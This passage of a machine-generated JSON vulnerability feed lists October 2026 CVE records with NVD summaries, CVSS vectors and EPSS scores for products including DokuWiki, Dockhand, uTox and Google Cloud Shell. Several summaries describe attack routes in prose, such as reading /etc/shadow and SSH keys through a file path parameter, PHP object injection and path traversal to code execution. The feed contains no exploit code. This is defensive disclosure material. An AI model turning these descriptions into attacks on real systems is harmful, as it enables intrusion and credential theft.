fixes.","publishedAt":"2026-10-20T12:17:28.847Z","updatedAt":"2026-10-23T12:18:06.253Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105949","asOf":"2026-10-23T12:18:06.253Z"},"epss":{"probability":0.00328,"percentile":0.25671,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105949&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105949","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105949","type":"primary","publishedAt":"2026-10-20T12:17:28.847Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105949&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105949, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-105311","cveId":"CVE-2026-105311","aliases":[],"kind":"vulnerability","title":"The StreamsHub Console operator acts as a confused deputy: a Kubernetes tenant with permission to create a Console custom resource can set...","summary":"The StreamsHub Console operator acts as a confused deputy: a Kubernetes tenant with permission to create a Console custom resource can set spec.kafkaClusters[].credentials.kafkaUser.namespace to any namespace. The operator, running with cluster-wide Secrets RBAC, reads the victim-namespace KafkaUser Secret (SASL credentials or TLS private keys) and writes the plaintext material into a Secret in the attacker's namespace. No same-namespace check or allowlist exists anywhere in the code path.","detail":"The StreamsHub Console operator acts as a confused deputy: a Kubernetes tenant with permission to create a Console custom resource can set spec.kafkaClusters[].credentials.kafkaUser.namespace to any namespace. The operator, running with cluster-wide Secrets RBAC, reads the victim-namespace KafkaUser Secret (SASL credentials or TLS private keys) and writes the plaintext material into a Secret in the attacker's namespace. No same-namespace check or allowlist exists anywhere in the code path.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T12:17:28.550Z","updatedAt":"2026-10-21T21:17:44.883Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Kubernetes"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-105311","asOf":"2026-10-21T21:17:44.883Z"},"epss":{"probability":0.00296,"percentile":0.22046,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-105311&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-105311","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-105311","type":"primary","publishedAt":"2026-10-20T12:17:28.550Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-105311&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-105311, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113358","cveId":"CVE-2026-113358","aliases":[],"kind":"vulnerability","title":"LavaLite CMS through 10.1.2 contains a missing authentication vulnerability in the Filer module that allows unauthenticated attackers to download stored files through the...","summary":"LavaLite CMS through 10.1.2 contains a missing authentication vulnerability in the Filer module that allows unauthenticated attackers to download stored files through the filer/download and filer/display routes. Attackers can supply arbitrary disk names and paths to FileController to retrieve private uploads from local storage or configured remote S3 disks.","detail":"LavaLite CMS through 10.1.2 contains a missing authentication vulnerability in the Filer module that allows unauthenticated attackers to download stored files through the filer/download and filer/display routes. Attackers can supply arbitrary disk names and paths to FileController to retrieve private uploads from local storage or configured remote S3 disks.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T11:17:20.447Z","updatedAt":"2026-10-20T20:11:29.833Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113358","asOf":"2026-10-20T20:11:29.833Z"},"epss":{"probability":0.00441,"percentile":0.38031,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113358&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113358","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113358","type":"primary","publishedAt":"2026-10-20T11:17:20.447Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113358&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113358, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113356","cveId":"CVE-2026-113356","aliases":[],"kind":"vulnerability","title":"DokuWiki before 2026-07-14c contains a PHP object injection vulnerability in Draft::getDraftText() that passes draft file contents to unserialize() without restricting allowed...","summary":"DokuWiki before 2026-07-14c contains a PHP object injection vulnerability in Draft::getDraftText() that passes draft file contents to unserialize() without restricting allowed classes. Authenticated users with edit rights can race concurrent draft rewrites to splice serialized data, instantiating gadgets like MemoryIndex or Installer for arbitrary file write, deletion, and code execution.","detail":"DokuWiki before 2026-07-14c contains a PHP object injection vulnerability in Draft::getDraftText() that passes draft file contents to unserialize() without restricting allowed classes. Authenticated users with edit rights can race concurrent draft rewrites to splice serialized data, instantiating gadgets like MemoryIndex or Installer for arbitrary file write, deletion, and code execution.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T11:17:20.143Z","updatedAt":"2026-10-20T20:06:37.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113356","asOf":"2026-10-20T20:06:37.150Z"},"epss":{"probability":0.00543,"percentile":0.45334,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113356&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113356","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113356","type":"primary","publishedAt":"2026-10-20T11:17:20.143Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113356&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113356, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113354","cveId":"CVE-2026-113354","aliases":[],"kind":"vulnerability","title":"Dockhand before 1.0.46 contains an arbitrary file read vulnerability that allows non-admin users with stacks:edit permission to read files through the path parameter of...","summary":"Dockhand before 1.0.46 contains an arbitrary file read vulnerability that allows non-admin users with stacks:edit permission to read files through the path parameter of /api/system/files/content. Attackers can supply absolute paths to read /etc/shadow, /etc/passwd, git .git/config credentials, and SSH keys from the Dockhand container.","detail":"Dockhand before 1.0.46 contains an arbitrary file read vulnerability that allows non-admin users with stacks:edit permission to read files through the path parameter of /api/system/files/content. Attackers can supply absolute paths to read /etc/shadow, /etc/passwd, git .git/config credentials, and SSH keys from the Dockhand container.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T11:17:19.843Z","updatedAt":"2026-10-22T22:18:03.123Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113354","asOf":"2026-10-22T22:18:03.123Z"},"epss":{"probability":0.00375,"percentile":0.31185,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113354&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113354","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113354","type":"primary","publishedAt":"2026-10-20T11:17:19.843Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113354&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113354, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113352","cveId":"CVE-2026-113352","aliases":[],"kind":"vulnerability","title":"uTox through 0.18.1 contains a path traversal vulnerability that allows Tox friends to write arbitrary files by sending absolute or ../ file names to victims with auto-accept...","summary":"uTox through 0.18.1 contains a path traversal vulnerability that allows Tox friends to write arbitrary files by sending absolute or ../ file names to victims with auto-accept enabled. Attackers can overwrite shell startup files or plant crafted .ftinfo resume records that ft_find_resumeable() loads, abusing FILE pointers to write /proc/self/mem and execute code.","detail":"uTox through 0.18.1 contains a path traversal vulnerability that allows Tox friends to write arbitrary files by sending absolute or ../ file names to victims with auto-accept enabled. Attackers can overwrite shell startup files or plant crafted .ftinfo resume records that ft_find_resumeable() loads, abusing FILE pointers to write /proc/self/mem and execute code.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T11:17:19.520Z","updatedAt":"2026-10-20T20:11:29.833Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113352","asOf":"2026-10-20T20:11:29.833Z"},"epss":{"probability":0.00586,"percentile":0.47726,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113352&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113352","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113352","type":"primary","publishedAt":"2026-10-20T11:17:19.520Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113352&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113352, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113351","cveId":"CVE-2026-113351","aliases":[],"kind":"vulnerability","title":"libexpat 2.7.2 through 2.9.0 contains a denial of service vulnerability because XML_ParserReset zeroes the direct byte count but never offsets tracked heap allocations.","summary":"libexpat 2.7.2 through 2.9.0 contains a denial of service vulnerability because XML_ParserReset zeroes the direct byte count but never offsets tracked heap allocations. Attackers can submit a large XML document so later documents on the same reset parser fail with XML_ERROR_NO_MEMORY until it is recreated.","detail":"libexpat 2.7.2 through 2.9.0 contains a denial of service vulnerability because XML_ParserReset zeroes the direct byte count but never offsets tracked heap allocations. Attackers can submit a large XML document so later documents on the same reset parser fail with XML_ERROR_NO_MEMORY until it is recreated.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T11:17:19.363Z","updatedAt":"2026-10-20T20:06:37.150Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113351","asOf":"2026-10-20T20:06:37.150Z"},"epss":{"probability":0.00474,"percentile":0.40696,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113351&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113351","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113351","type":"primary","publishedAt":"2026-10-20T11:17:19.363Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113351&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113351, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108089","cveId":"CVE-2026-108089","aliases":[],"kind":"vulnerability","title":"** UNSUPPORTED WHEN ASSIGNED ** Exposure of sensitive system information to an unauthorized control sphere vulnerability in Apache Cocoon.","summary":"** UNSUPPORTED WHEN ASSIGNED ** Exposure of sensitive system information to an unauthorized control sphere vulnerability in Apache Cocoon. An unauthenticated user could gain access to diagnostic interfaces, including triggering of cache, exposure of (verbose) debug logging and profile information.\n\n\n\nThis issue affects Apache Cocoon: all versions.\n\n\n\nAs this project is retired, we do not plan to release a version that fixes this issue. Users are recommended to find an alternative or restrict access to the instance to trusted users.\n\n\n\nNOTE: This vulnerability only affects products that are no longer supported by the maintainer.","detail":"** UNSUPPORTED WHEN ASSIGNED ** Exposure of sensitive system information to an unauthorized control sphere vulnerability in Apache Cocoon. An unauthenticated user could gain access to diagnostic interfaces, including triggering of cache, exposure of (verbose) debug logging and profile information.\n\n\n\nThis issue affects Apache Cocoon: all versions.\n\n\n\nAs this project is retired, we do not plan to release a version that fixes this issue. Users are recommended to find an alternative or restrict access to the instance to trusted users.\n\n\n\nNOTE: This vulnerability only affects products that are no longer supported by the maintainer.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T11:17:17.020Z","updatedAt":"2026-10-20T19:34:00.700Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108089","asOf":"2026-10-20T19:34:00.700Z"},"epss":{"probability":0.0049,"percentile":0.41836,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108089&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108089","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108089","type":"primary","publishedAt":"2026-10-20T11:17:17.020Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108089&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108089, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85267","cveId":"CVE-2026-85267","aliases":[],"kind":"vulnerability","title":"A Cross-Site WebSocket Hijacking vulnerability in Cloud Shell prior to 2026-07-22 on Google Cloud Platform allows an unauthenticated attacker to hijack an active Cloud Shell...","summary":"A Cross-Site WebSocket Hijacking vulnerability in Cloud Shell prior to 2026-07-22 on Google Cloud Platform allows an unauthenticated attacker to hijack an active Cloud Shell session and exfiltrate the user's OAuth access token using a cross-origin WebSocket request.\n\n\nThis vulnerability was patched on 22 July 2026, and no customer action is needed.","detail":"A Cross-Site WebSocket Hijacking vulnerability in Cloud Shell prior to 2026-07-22 on Google Cloud Platform allows an unauthenticated attacker to hijack an active Cloud Shell session and exfiltrate the user's OAuth access token using a cross-origin WebSocket request.\n\n\nThis vulnerability was patched on 22 July 2026, and no customer action is needed.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T10:17:07.007Z","updatedAt":"2026-10-20T19:18:51.900Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Clear","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85267","asOf":"2026-10-20T19:18:51.900Z"},"epss":{"probability":0.00211,"percentile":0.11205,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85267&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85267","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85267","type":"primary","publishedAt":"2026-10-20T10:17:07.007Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85267&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85267, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43858","cveId":"CVE-2026-43858","aliases":[],"kind":"vulnerability","title":"A stack-based buffer overflow vulnerability could allow a remote authenticated attacker to achieve arbitrary code execution.","summary":"A stack-based buffer overflow vulnerability could allow a remote authenticated attacker to achieve arbitrary code execution.","detail":"A stack-based buffer overflow vulnerability could allow a remote authenticated attacker to achieve arbitrary code execution.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T10:17:06.880Z","updatedAt":"2026-10-20T19:30:59.910Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43858","asOf":"2026-10-20T19:30:59.910Z"},"epss":{"probability":0.00717,"percentile":0.53536,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-43858&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43858","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43858","type":"primary","publishedAt":"2026-10-20T10:17:06.880Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-43858&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-43858, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-43857","cveId":"CVE-2026-43857","aliases":[],"kind":"vulnerability","title":"A vulnerability could allow a remote authenticated attacker to achieve arbitrary code execution with privileges on the service.","summary":"A vulnerability could allow a remote authenticated attacker to achieve arbitrary code execution with privileges on the service.","detail":"A vulnerability could allow a remote authenticated attacker to achieve arbitrary code execution with privileges on the service.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T10:17:06.757Z","updatedAt":"2026-10-20T19:30:59.910Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-43857","asOf":"2026-10-20T19:30:59.910Z"},"epss":{"probability":0.00683,"percentile":0.52244,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-43857&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-43857","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-43857","type":"primary","publishedAt":"2026-10-20T10:17:06.757Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 